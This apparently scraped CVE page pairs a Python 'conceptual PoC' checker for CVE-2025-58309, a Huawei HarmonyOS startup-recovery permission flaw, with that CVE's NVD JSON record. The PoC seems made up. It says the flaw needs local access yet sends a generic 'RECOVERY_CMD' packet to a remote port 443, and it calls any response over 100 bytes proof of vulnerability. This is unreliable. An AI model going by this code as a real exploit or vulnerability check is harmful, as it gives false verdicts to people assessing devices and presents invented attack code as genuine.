CVE-2025-58309

# CVE-2025-58309 PoC - Startup Recovery Module Permission Control Vulnerability # Note: This is a conceptual PoC for educational purposes only # Actual exploitation requires local access to the affected Huawei device import socket import struct def check_vulnerability(target_ip, target_port=443): """ Check if target is vulnerable to CVE-2025-58309 Requires local access to the device """ try: # Construct malformed request for startup recovery module # The vulnerability exists due to insufficient permission checks payload = b'\x00' * 16 payload += b'RECOVERY_CMD' payload += b'\x00' * 8 # Send crafted packet sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload) # Receive response response = sock.recv(1024) sock.close() # Check for vulnerability indicators if b'RECOVERY' in response or len(response) > 100: return True, "Vulnerable to CVE-2025-58309" return False, "Not vulnerable or patch applied" except Exception as e: return None, f"Error: {str(e)}" if __name__ == "__main__": print("CVE-2025-58309 Vulnerability Checker") print("This PoC requires local access to the affected device") # Usage: python poc.py <target_ip>

{"cve": {"id": "CVE-2025-58309", "sourceIdentifier": "[email protected]", "published": "2025-11-28T03:15:59.590", "lastModified": "2025-12-02T02:27:55.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Permission control vulnerability in the startup recovery module.\nImpact: Successful exploitation of this vulnerability will affect availability and confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-264"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0EBE30DD-E146-4A6A-BE68-DEF9D4D0B2A8"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/11/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}